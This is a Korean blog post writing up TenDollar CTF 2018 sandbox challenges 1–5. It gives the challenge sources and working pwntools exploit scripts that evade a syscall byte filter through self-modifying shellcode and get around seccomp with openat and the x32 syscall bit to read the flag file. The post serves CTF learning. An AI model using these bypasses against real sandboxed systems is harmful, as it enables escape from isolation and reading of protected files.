ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • TenDollar CTF 2018 - SandBox challenge 1~5
    CTF 2018. 11. 25. 20:48

    텐달러 CTF에 태범이형이 내신 샌드박스 문제 풀이를 올려보고자 한다.


    제일 먼저, 하나의 기법을 이해하는데 도움을 준 문제다. 먼저 태범이형께 감사 인사를 올립니다 :)  


    1. sb1


    1. #include <stdio.h>
    2. #include <unistd.h>
    3. #include <sys/mman.h>
    4.  
    5. int main()
    6. {
    7. void (*sc)();
    8. void *shellcode;
    9.  
    10. setvbuf(stdout, NULL, _IONBF, 0);
    11. setvbuf(stdin, NULL, _IONBF, 0);
    12.  
    13. shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    14. if (shellcode == MAP_FAILED) {
    15. printf("[err] Please, let me know this issue (hackability@naver.com)\n");
    16. return -1;
    17. }
    18.  
    19. printf("[*] Welcome to sandbox school for beginner!\n");
    20. printf("[*] Put your shellcode as binary stream. I'll ready for your input as read(0, shellcode, 1024)\n");
    21. printf("[*] Lv : Gate\n");
    22. printf("[*] Desc : Can you enter this world ?\n");
    23. printf("> ");
    24.  
    25. alarm(10);
    26.  
    27. read(0, shellcode, 1024);
    28. sc = shellcode;
    29. sc();
    30.  
    31. return 0;
    32. }

    문제 코드를 보면 mma으로 랜덤한 주소를 생성하고 rwx 권한을 준뒤, 그 영역에 우리의 데이터를 담고 함수포인터로 호출하게 된다.

    sb1은 딱히 생각할 것도 없이 넷상에서 돌아다니는 64bit execve 쉘코드를 넣으면 풀린다. 딱히 자세하게 짚고 넘어가지 않겠다.



    2. sb2


    1. #include <stdio.h>
    2. #include <unistd.h>
    3. #include <sys/mman.h>
    4. #include <sys/prctl.h>
    5. #include <linux/prctl.h>
    6. #include <linux/filter.h>
    7. #include <linux/seccomp.h>
    8.  
    9. #include "seccomp-bpf.h"
    10.  
    11. static int install_syscall_filter(void)
    12. {
    13. struct sock_filter filter[] = {
    14. VALIDATE_ARCHITECTURE,
    15. EXAMINE_SYSCALL,
    16. ALLOW_SYSCALL(open),
    17. ALLOW_SYSCALL(read),
    18. ALLOW_SYSCALL(write),
    19. ALLOW_SYSCALL(exit),
    20. KILL_PROCESS
    21. };
    22. struct sock_fprog prog = {
    23. .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    24. .filter = filter,
    25. };
    26.  
    27. if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
    28. perror("prctl(NO_NEW_PRIVS)");
    29. goto failed;
    30. }
    31. if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
    32. perror("prctl(SECCOMP)");
    33. goto failed;
    34. }
    35. return 0;
    36.  
    37. failed:
    38. if (errno == EINVAL)
    39. fprintf(stderr, "SECCOMP_FILTER is not available. :(\n");
    40. return 1;
    41. }
    42.  
    43. int main()
    44. {
    45. void (*sc)();
    46. void *shellcode;
    47.  
    48. setvbuf(stdout, NULL, _IONBF, 0);
    49. setvbuf(stdin, NULL, _IONBF, 0);
    50.  
    51. shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    52. if (shellcode == MAP_FAILED) {
    53. printf("[err] Please, let me know this issue (hackability@naver.com)\n");
    54. return -1;
    55. }
    56.  
    57. printf("[*] Welcome to sandbox school for beginner!\n");
    58. printf("[*] Put your shellcode as binary stream. I'll ready for your input as read(0, shellcode, 1024)\n");
    59. printf("[*] Lv : Goblin\n");
    60. printf("[*] Desc : How did you get in here? Get out! :( ?\n");
    61. printf("> ");
    62.  
    63. alarm(10);
    64.  
    65. read(0, shellcode, 1024);
    66.  
    67. install_syscall_filter();
    68.  
    69. sc = shellcode;
    70. sc();
    71.  
    72. return 0;
    73. }
    74.  

    이번 문제는 sb1과 실행 방식은 같지만 함수가 추가됬다. install_syscall_filter() 함수를 보면 prctl을 통해 open, read, write 시스콜만 허용해 놓았다. 만약 execve를 호출하는 쉘코드를 이용하면 SIGSYS 에러가 발생하면서 필터링 되어버린다.

    이 또한 자세하게 짚고 넘어갈 부분은 아니다. 구글에 검색하면 open, read, write하는 쉘코드가 나오기 때문에 그 쉘코드를 사용하면 된다.



    3. sb3


    1. #include <stdio.h>
    2. #include <unistd.h>
    3. #include <sys/mman.h>
    4. #include <sys/prctl.h>
    5. #include <linux/prctl.h>
    6. #include <linux/filter.h>
    7. #include <linux/seccomp.h>
    8.  
    9. #include "seccomp-bpf.h"
    10.  
    11. static int install_syscall_filter(void)
    12. {
    13. struct sock_filter filter[] = {
    14. VALIDATE_ARCHITECTURE,
    15. EXAMINE_SYSCALL,
    16. ALLOW_SYSCALL(open),
    17. ALLOW_SYSCALL(read),
    18. ALLOW_SYSCALL(write),
    19. ALLOW_SYSCALL(exit),
    20. KILL_PROCESS
    21. };
    22. struct sock_fprog prog = {
    23. .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    24. .filter = filter,
    25. };
    26.  
    27. if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
    28. perror("prctl(NO_NEW_PRIVS)");
    29. goto failed;
    30. }
    31. if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
    32. perror("prctl(SECCOMP)");
    33. goto failed;
    34. }
    35. return 0;
    36.  
    37. failed:
    38. if (errno == EINVAL)
    39. fprintf(stderr, "SECCOMP_FILTER is not available. :(\n");
    40. return 1;
    41. }
    42.  
    43. int main()
    44. {
    45. void (*sc)();
    46. unsigned char *shellcode;
    47.  
    48. setvbuf(stdout, NULL, _IONBF, 0);
    49. setvbuf(stdin, NULL, _IONBF, 0);
    50.  
    51. shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    52. if (shellcode == MAP_FAILED) {
    53. printf("[err] Please, let me know this issue (hackability@naver.com)\n");
    54. return -1;
    55. }
    56.  
    57. printf("[*] Welcome to sandbox school for beginner!\n");
    58. printf("[*] Put your shellcode as binary stream. I'll ready for your input as read(0, shellcode, 1024)\n");
    59. printf("[*] Lv : Orc\n");
    60. printf("[*] Desc : You can't go futher.\n");
    61. printf("> ");
    62.  
    63. alarm(10);
    64.  
    65. read(0, shellcode, 1024);
    66.  
    67. for(int i=0 ; i<1024-1; i++) {
    68. if (shellcode[i] == 0x0f && shellcode[i+1] == 0x05) {
    69. printf("[*] blocked !\n");
    70. return -1;
    71. }
    72. }
    73.  
    74. install_syscall_filter();
    75.  
    76. sc = (void *)shellcode;
    77. sc();
    78.  
    79. return 0;
    80. }


    3번은 위와 동일하게 open, read, write 시스콜을 허용해 놓았지만 코드가 좀 추가 되었다. 64bit에서는 \x0f\x05 즉, syscall이란 인스트럭션을 사용하여 시스콜을 호출하게 되는데, 이를 이용하지 못하도록 했다. 사실 대회 중 이를 우회하는 방법을 몇가지 생각해냈는데 (내가생각하기에) 제일 괜찮은 방법을 적어보려 한다.


    내가 생각한 방법은 먼저, 우리가 넣은 쉘코드는 rip가 인스트럭션크기마다 올라가면서 실행이 될거다. 때문에 [rip]를 참조하여 뒤에 있는 값을 +하거나 -하면 \x0f\x05를 안넣고도 이후에 변조하여 사용할 수 있게 된다.


    내가 사용한 방법은 아래와 같다. 


    shellcode += "\x48\xff\x0d\x01\x00\x00\x00"

    shellcode += "\x0f\x06"


    이 쉘코드를 디스어셈블한 결과는 아래와 같다.


    Disassembly:

    0:  48 ff 0d 01 00 00 00    dec    QWORD PTR [rip+0x1]        # 0x8
    7:  0f 06                   clts


    보면 알겠지만 rip가 \x0f일때 +1 해서 \x06을 가리키게 하고, dec 명령을 통해 -1 하는 작업을 하여 \x0f\x05를 만들었다.


    코드를 보면 || 가 아닌 && 연산을 사용하기 때문에 두개의 조건이 전부 맞아 떨어져야 blocked이 된다. 때문에 \x10\x06으로 안만들어도 된다는 점..

    아무튼 다음 문제부터 해당 미티게이션(?)은 디폴트로 걸려있기 때문에 이후에는 언급하지 않겠다!


    그래서 그냥 다음과 같은 익스플로잇을 짜면 된다.


    1. from pwn import *
    2.  
    3. # p = process("./sb3")
    4. p = remote("3b5498bc.tendollar.kr",10000)
    5. context.arch="x86_64"
    6.  
    7. pause()
    8. # shellcode = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\xff\x0d\x01\x00\x00\x00\x0f\x06\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\xff\x0d\x01\x00\x00\x00\x0f\x06\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\xff\x0d\x01\x00\x00\x00\x0f\x06\x48\x31\xc0\x04\x3c\xff\x0d\x01\x00\x00\x00\x0f\x06\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"
    9.  
    10. # open("flag", RD_ONLY);
    11. shellcode = asm("push 0x67616c66")
    12. shellcode += asm("push rsp")
    13. shellcode += asm("pop rdi")
    14. shellcode += asm("mov eax, 2")
    15. shellcode += asm("xor rsi, rsi")
    16. shellcode += asm("mov rdx, 0")
    17. shellcode += "\x48\xff\x0d\x01\x00\x00\x00"
    18. shellcode += "\x0f\x06"
    19.  
    20. # read(openfd, rsp, 1000);
    21. shellcode += asm("mov rdi, rax")
    22. shellcode += asm("mov rax, 0")
    23. shellcode += asm("mov rsi, rsp")
    24. shellcode += asm("mov rdx, 1000")
    25. shellcode += "\x48\xff\x0d\x01\x00\x00\x00"
    26. shellcode += "\x0f\x06"
    27.  
    28. # write(1, rsp, 1000);

    29. shellcode += asm("mov rax, 1")
    30. shellcode += asm("mov rdi, 1")
    31. shellcode += asm("mov rsi, rsp")
    32. shellcode += asm("mov rdx, 1000")
    33. shellcode += "\x48\xff\x0d\x01\x00\x00\x00"
    34. shellcode += "\x0f\x06"
    35.  
    36. print shellcode
    37. p.send(shellcode)
    38. p.interactive()



    4. sb4


    1. #include <stdio.h>
    2. #include <unistd.h>
    3. #include <sys/mman.h>
    4. #include <sys/prctl.h>
    5. #include <linux/prctl.h>
    6. #include <linux/filter.h>
    7. #include <linux/seccomp.h>
    8.  
    9. #include "seccomp-bpf.h"
    10.  
    11. static int install_syscall_filter(void)
    12. {
    13. struct sock_filter filter[] = {
    14. VALIDATE_ARCHITECTURE,
    15. EXAMINE_SYSCALL,
    16. DISALLOW_SYSCALL(open),
    17. DISALLOW_SYSCALL(fork),
    18. DISALLOW_SYSCALL(vfork),
    19. DISALLOW_SYSCALL(clone),
    20. DISALLOW_SYSCALL(ptrace),
    21. DISALLOW_SYSCALL(mmap),
    22. DISALLOW_SYSCALL(prctl),
    23. DISALLOW_SYSCALL(execve),
    24. ALLOW_PROCESS
    25. };
    26. struct sock_fprog prog = {
    27. .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    28. .filter = filter,
    29. };
    30.  
    31. if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
    32. perror("prctl(NO_NEW_PRIVS)");
    33. goto failed;
    34. }
    35. if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
    36. perror("prctl(SECCOMP)");
    37. goto failed;
    38. }
    39. return 0;
    40.  
    41. failed:
    42. if (errno == EINVAL)
    43. fprintf(stderr, "SECCOMP_FILTER is not available. :(\n");
    44. return 1;
    45. }
    46.  
    47. int main()
    48. {
    49. void (*sc)();
    50. unsigned char *shellcode;
    51.  
    52. setvbuf(stdout, NULL, _IONBF, 0);
    53. setvbuf(stdin, NULL, _IONBF, 0);
    54.  
    55. shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    56. if (shellcode == MAP_FAILED) {
    57. printf("[err] Please, let me know this issue (hackability@naver.com)\n");
    58. return -1;
    59. }
    60.  
    61. printf("[*] Welcome to sandbox school :)\n");
    62. printf("[*] Put your shellcode as binary stream. I'll ready for your input as read(0, map, 1024)\n");
    63. printf("[*] Lv : Troll\n");
    64. printf("[*] Desc : Now, you can't see me.\n");
    65. printf("> ");
    66.  
    67. alarm(10);
    68.  
    69. read(0, shellcode, 1024);
    70.  
    71. for(int i=0 ; i<1024-1; i++) {
    72. if (shellcode[i] == 0x0f && shellcode[i+1] == 0x05) {
    73. printf("[*] blocked !\n");
    74. return -1;
    75. }
    76. }
    77.  
    78. install_syscall_filter();
    79.  
    80. sc = (void *)shellcode;
    81. sc();
    82.  
    83. return 0;
    84. }

    이 문제는 이전 문제와는 다르게 블랙리스트로 필터링이 갈려있다. 64bit에서는 기본적으로 execve말고도 execveat 이라는 시스콜이 존재하여 rsi를 /bin/sh을 가리키는 주소를 넣으면 쉘을 획득할 수 있다. 이외에도 openat 함수를 사용하여 읽어올 수 있는데, 나는 openat으로 풀었다. 익스는 다음과 같다.


    1. from pwn import *
    2.  
    3. # p = process("./sb4")
    4. p = remote("1047ee80.tendollar.kr",10000)
    5.  
    6. context.arch="x86_64"
    7.  
    8. pause()
    9. # shellcode = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\xff\x0d\x01\x00\x00\x00\x0f\x06\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\xff\x0d\x01\x00\x00\x00\x0f\x06\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\xff\x0d\x01\x00\x00\x00\x0f\x06\x48\x31\xc0\x04\x3c\xff\x0d\x01\x00\x00\x00\x0f\x06\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"
    10.  
    11. # openat(-1, "/flag", O_RDONLY);

    12. shellcode = asm("mov rdi, 0x00000067616c662f")
    13. shellcode += asm("push rdi")
    14. shellcode += asm("push rsp")
    15. shellcode += asm("pop rsi")
    16. shellcode += asm("mov eax, 257")
    17. shellcode += asm("mov rdi, -1")
    18. shellcode += asm("xor rdx, rdx")
    19. shellcode += asm("mov rcx, 0")
    20. shellcode += "\x48\xff\x0d\x01\x00\x00\x00"
    21. shellcode += "\x0f\x06"
    22.  
    23. # read(openatfd, rsp, 1000);
    24. shellcode += asm("mov rdi, rax")
    25. shellcode += asm("mov rax, 0")
    26. shellcode += asm("mov rsi, rsp")
    27. shellcode += asm("mov rdx, 1000")
    28. shellcode += "\x48\xff\x0d\x01\x00\x00\x00"
    29. shellcode += "\x0f\x06"
    30.  
    31. # write(1, rsp, 1000);
    32. shellcode += asm("mov rax, 1")
    33. shellcode += asm("mov rdi, 1")
    34. shellcode += asm("mov rsi, rsp")
    35. shellcode += asm("mov rdx, 1000")
    36. shellcode += "\x48\xff\x0d\x01\x00\x00\x00"
    37. shellcode += "\x0f\x06"
    38.  
    39. print shellcode
    40. p.send(shellcode)
    41. p.interactive()




    5. sb5


    1. #include <stdio.h>
    2. #include <unistd.h>
    3. #include <fcntl.h>
    4. #include <sys/mman.h>
    5. #include <sys/prctl.h>
    6. #include <sys/syscall.h>
    7. #include <linux/prctl.h>
    8. #include <linux/filter.h>
    9. #include <linux/seccomp.h>
    10.  
    11. #include "seccomp-bpf.h"
    12.  
    13. static int install_syscall_filter(void)
    14. {
    15. struct sock_filter filter[] = {
    16. VALIDATE_ARCHITECTURE,
    17. EXAMINE_SYSCALL,
    18. DISALLOW_SYSCALL(open),
    19. DISALLOW_SYSCALL(openat),
    20. DISALLOW_SYSCALL(fork),
    21. DISALLOW_SYSCALL(vfork),
    22. DISALLOW_SYSCALL(clone),
    23. DISALLOW_SYSCALL(creat),
    24. DISALLOW_SYSCALL(ptrace),
    25. DISALLOW_SYSCALL(prctl),
    26. DISALLOW_SYSCALL(execve),
    27. DISALLOW_SYSCALL(execveat),
    28. ALLOW_PROCESS
    29. };
    30. struct sock_fprog prog = {
    31. .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    32. .filter = filter,
    33. };
    34.  
    35. if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
    36. perror("prctl(NO_NEW_PRIVS)");
    37. goto failed;
    38. }
    39. if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
    40. perror("prctl(SECCOMP)");
    41. goto failed;
    42. }
    43. return 0;
    44.  
    45. failed:
    46. if (errno == EINVAL)
    47. fprintf(stderr, "SECCOMP_FILTER is not available. :(\n");
    48. return 1;
    49. }
    50.  
    51. int main()
    52. {
    53. void (*sc)();
    54. unsigned char *shellcode;
    55.  
    56. setvbuf(stdout, NULL, _IONBF, 0);
    57. setvbuf(stdin, NULL, _IONBF, 0);
    58.  
    59. shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    60. if (shellcode == MAP_FAILED) {
    61. printf("[err] Please, let me know this issue (hackability@naver.com)\n");
    62. return -1;
    63. }
    64.  
    65. printf("[*] Welcome to sandbox school for beginner!\n");
    66. printf("[*] Put your shellcode as binary stream. I'll ready for your input as read(0, shellcode, 1024)\n");
    67. printf("[*] Lv : Troll\n");
    68. printf("[*] Desc : Now, you can't see me.\n");
    69. printf("> ");
    70.  
    71. alarm(10);
    72.  
    73. read(0, shellcode, 1024);
    74.  
    75. for(int i=0 ; i<1024-1; i++) {
    76. if (shellcode[i] == 0x0f && shellcode[i+1] == 0x05) {
    77. printf("[*] blocked !\n");
    78. return -1;
    79. }
    80. }
    81.  
    82. install_syscall_filter();
    83.  
    84. sc = (void *)shellcode;
    85. sc();
    86.  
    87. return 0;
    88. }
    89.  

    이번에는 바로 전에 언급했던 시스콜들을 전부 막아놨다. 여기서, retf 인스트럭션을 사용해 cs를 바꿔서 32bit 운용모드로 돌릴려고 했지만 VALIDATE_ARCHITECTURE를 하기 때문에 이는 하지 못한다. ㅠㅠ, 대회 도중에는 이 문제를 풀지 못했다. cs도 바꿔보고 했는데 당연하게도 절대 안된다.

    대회가 끝나고 나서 태범이형께 여쭤보고 풀어보았다.. 이 방법은 정말 꿈에도 생각 못했고 시간이 많았어도 절대 못풀었을거 같다. 거의 트릭이잖아 ! (ㅈㅅ)

    방법은 다음과 같다. 원하는 시스콜을 집어넣고 그 시스콜과 0x40000000 값을 or 연산하면 된다. 익스는 아래와 같다.


    1. from pwn import *
    2.  
    3. # p = process("./sb5")
    4. p = remote("bd89c972.tendollar.kr",10000)
    5.  
    6. context.arch="x86_64"
    7.  
    8.  
    9.  
    10. pause()
    11. #
    12. bss = 0x6021C8
    13.  
    14.  
    15. shellcode = asm("mov eax, 2")
    16. shellcode += asm("or eax, 0x40000000")
    17. shellcode += asm("push 0x67616c66")
    18. shellcode += asm("mov rdi, rsp")
    19. shellcode += asm("mov rsi, 0")
    20. shellcode += "\x48\xff\x0d\x01\x00\x00\x00"
    21. shellcode += "\x0f\x06"
    22.  
    23. shellcode += asm("mov ebx, eax")
    24. shellcode += asm("mov eax, 0")
    25. shellcode += asm("or eax, 0x40000000")
    26. shellcode += asm("mov rdi, rbx")
    27. shellcode += asm("mov rsi, 0x602000")
    28. shellcode += asm("mov rdx, 100")
    29. shellcode += "\x48\xff\x0d\x01\x00\x00\x00"
    30. shellcode += "\x0f\x06"
    31.  
    32. shellcode += asm("mov ebx, eax")
    33. shellcode += asm("mov eax, 1")
    34. shellcode += asm("or eax, 0x40000000")
    35. shellcode += asm("mov rdi, 1")
    36. shellcode += asm("mov rsi, 0x602000")
    37. shellcode += asm("mov rdx, 100")
    38. shellcode += "\x48\xff\x0d\x01\x00\x00\x00"
    39. shellcode += "\x0f\x06"
    40.  
    41.  
    42. print len(shellcode)
    43. p.send(shellcode)
    44.  
    45.  
    46. p.interactive()

    시스콜 넘버를 or 연산을 통해 우회할 수 있는 이유는 다음과 같다


    #ifndef _ASM_X86_UNISTD_X32_H

    #define _ASM_X86_UNISTD_X32_H 1

    #define __NR_read (__X32_SYSCALL_BIT + 0)

    #define __NR_write (__X32_SYSCALL_BIT + 1)

    #define __NR_open (__X32_SYSCALL_BIT + 2)

    #define __NR_close (__X32_SYSCALL_BIT + 3)

    #define __NR_stat (__X32_SYSCALL_BIT + 4)

    #define __NR_fstat (__X32_SYSCALL_BIT + 5)

    #define __NR_lstat (__X32_SYSCALL_BIT + 6)

    #define __NR_poll (__X32_SYSCALL_BIT + 7)

    #define __NR_lseek (__X32_SYSCALL_BIT + 8)

    #define __NR_mmap (__X32_SYSCALL_BIT + 9)

    #define __NR_mprotect (__X32_SYSCALL_BIT + 10)


    시스콜 처리하는 것을 보면 32bit로 시스콜 넘버를 처리하게되고, 시스콜 핸들러에서는 syscall_number * 4 를 해서 시스콜 주소로 뛰게 된다.

    4와 곱하기 연산을 하는 이유는 해당 시스콜 멤버의 4번째에 실제 시스콜 함수 주소가 들어가있다.

    그럼 아래와 같은 연산을 해보자


    >>> (0x40000000 * 4) & 0xffffffff

    0


    이 수식은 32비트 최대값이 넘어 오버플로우가 발생해 다시 0으로 돌아오는 것을 알 수 있다.

    prctl seccomp를 사용하면 오버플로 된 값은 검증하지 못하기 때문에 0x40000000 값을 rax에 넣으면 0번 시스콜을 우회하여 사용할 수 있다.



    'CTF' 카테고리의 다른 글

    pwnable.tw - Caov  (0) 2019.09.17
    [ASIS 2019] precise average - pwn  (0) 2019.04.22
    [Pwnable.tw] Kidding  (0) 2018.05.03
    pwnable.tw - babystack  (0) 2017.09.01
    pwnable.tw - spirited_away  (0) 2017.09.01

    댓글

Designed by Tistory.